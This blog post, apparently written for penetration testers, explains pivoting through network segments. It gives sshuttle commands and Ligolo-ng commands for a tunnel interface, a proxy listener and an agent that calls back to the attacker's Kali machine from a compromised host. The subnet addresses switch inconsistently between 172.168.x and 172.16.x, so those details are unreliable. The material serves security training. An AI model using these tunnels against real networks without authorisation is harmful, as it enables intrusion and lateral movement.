“Pivoting” is the method used to navigate throughout a network, by using a compromised “foothold” host to gain access to other internal networks and network components that otherwise wouldn’t have been accessible directly. In most networks, there will be various network segments that will contain different servers or devices of interest. It is therefore an extremely important skill to be able to “pivot” throughout a network to move laterally and gain deeper access into parts of a network that could contain sensitive or high-value systems.
Imagine you are presented with the following scenario on a network pentest. The network consists of different subnets, with only a single resource that is remotely accessible from the attacking Kali machine.
Internally, there are two different subnets that contain more sensitive or highly privileged servers, and the remotely accessible server has some level of access into the rest of the internal network. The basic overview of this setup might look something like the following:
To perform the pentest and gain access to the green 172.168.2.8 host, we will need to pivot throughout the network using both the blue 10.10.11.30 and red 172.168.1.22 hosts so that connection to this 172.168.2.0/24 subnet can be established.
Pivoting is often done in a staged approach, as servers are compromised and further access into different subnets can be obtained. In this case access to the remotely accessible 10.10.11.30 server needs to be gained first, then this server can be used to pivot into the 172.168.1.0/24 subnet to compromise the 172.168.1.22 server. From here, the 172.16.2.0/24 subnet can be accessed by pivoting off the 172.168.1.22 server, ultimately allowing for a connection to be made directly to the 172.168.2.8 server.
This can be broken down as follows.
- Stage 1 – Access and compromise the remotely accessible server (blue).
- Stage 2 – Pivot into the 172.168.1.0/24 subnet and compromise 172.168.1.22 (red).
- Stage 3 – Pivot into the 172.16.2.0/24 subnet and compromise 172.168.2.8 (green).
To accomplish this, two different tools will need to be used. These are Sshuttle and Ligolo-ng.
Sshuttle
Sshuttle can be used to establish a VPN-like connection through to another subnet using SSH as the base connection.
When a remote server is dual homed and has access to an internal network, Sshuttle can be used to connect to that server and proxy all traffic from the attacker Kali machine through to the internal network.
In this example, the attacker Kali machine (10.10.14.7) has access to the remote server (10.10.11.30) which allows for SSH connections. This remote server also has access to an internal network subnet (172.16.1.0/24) which we want to access to perform further enumeration and lateral movement. Sshuttle will allow us to make an SSH connection to this remote server and simultaneously tunnel a connection through to the internal network, providing remote access the internal resources in the 172.16.1.0/24 subnet directly from our Kali machine.
This connection can be established using the following commands. If an SSH key is required to establish the SSH connection, use the second option. Otherwise, the first option will work when using a username and password combination for SSH authentication.
sshuttle -r user@10.10.11.30 172.16.1.0/24
sshuttle -r user@10.10.11.30 172.16.1.0/24 -e 'ssh -i /path/to/id_rsa'
The simple network overview diagram can be updated to look like the following:
Note that for Sshuttle to work, access to the remote server via SSH is required. This is often obtained by first compromising the remotely accessible server via an attack vector such as the web application (or other remotely accessible services).
Accessing Further Internal Networks
Sshuttle is extremely useful when accessing a single internal subnet via the intermediary “jump host” or “foothold” server. However, in some cases where even more internal jumps are required, internal servers may not have SSH running and chaining multiple Sshuttle sessions becomes fairly complex.
In this scenario, we need an easier method to establish connections to other internal network subnets which can then be accessed from the Kali testing machine.
To do this, we can use a tool called Ligolo-ng which will allow us to establish further remote VPN-esque tunnels by running lightweight agents that perform callbacks to our listening Kali machine.
Ligolo-ng
Ligolo-ng is a tool that can be used to establish tunnels using reverse TCP/TLS connections directly over the tun interface. This tool is useful as it does not require the use of SOCKS proxies (and therefore does not require modifications to proxychains configurations like many other tools or pivoting techniques do). By running a Ligolo-ng agent on the remote machine, a connection can be made back to the attacker Kali machine and a tunnel is established. This allows all traffic types to be sent directly to the remote internal host.
Ligolo-ng requires a bit more set up initially, but is still easy and straightforward to use.
On our Kali Linux machine (10.10.14.7), run the following commands to configure Ligolo-NG.
The final command should specify the subnet you are trying to access. In this case, the server we are trying to access is 172.16.2.8, so we specify the 172.16.2.0/24 subnet we are trying to gain access to.
sudo ip tuntap add user root mode tun ligolo sudo ip link set ligolo up sudo ip route add 172.16.2.0/24 dev ligolo
Then run the Proxy agent to start the Ligolo-NG listener on the Kali machine, this flag used here specifies the use of a self cert but this can be changed depending on the required configuration.
./proxy -selfcert
On the server 172.16.1.22 which we have access to via SShuttle, upload the ‘agent.exe’ or ‘agent’ file depending on the OS and architecture of the server. Then, run the agent to connect back to the Kali Linux machine. The -ignore-cert can be used so that Ligolo-NG ignores certificate errors.
./agent.exe -connect 10.10.14.7:11601 -ignore-cert
On the Kali machine, there will be a Session picked up by the running Proxy agent listener. Interact with the Session using the ‘session’ command, then ‘start’ the tunnel through to the internal 172.16.2.0/24 subnet.
This will then provide access to the subnet even further into an internal network. Ligolo-NG works like a VPN tunnel, so once the session is established and the tunnel is started there is no further need for configuration, all tools or scripts can be pointed at the internal resources such as the server 172.16.2.8.
The Ligolo-ng section of the simple network overview can be illustrated by the following:
Summary
Putting this all together, here is a full overview of what this might look like when using Sshuttle and Ligolo-ng. The initial connection to the 172.16.1.22 host is made using Sshuttle, and then the Ligolo-ng agent is run on this host to provide a second tunnel directly to the subnet that the 172.16.2.8 host is sitting on.
Once this is configured, we will have access to two different internal subnets (172.16.1.0/24 and 172.16.2.0/24) to progress the pentest and gain full access to the internal network.
KentoSec 
Nice post and love the drawings mate
LikeLike
Call me Ligolo-ng Kante cause I’m moving mad through these networks
LikeLike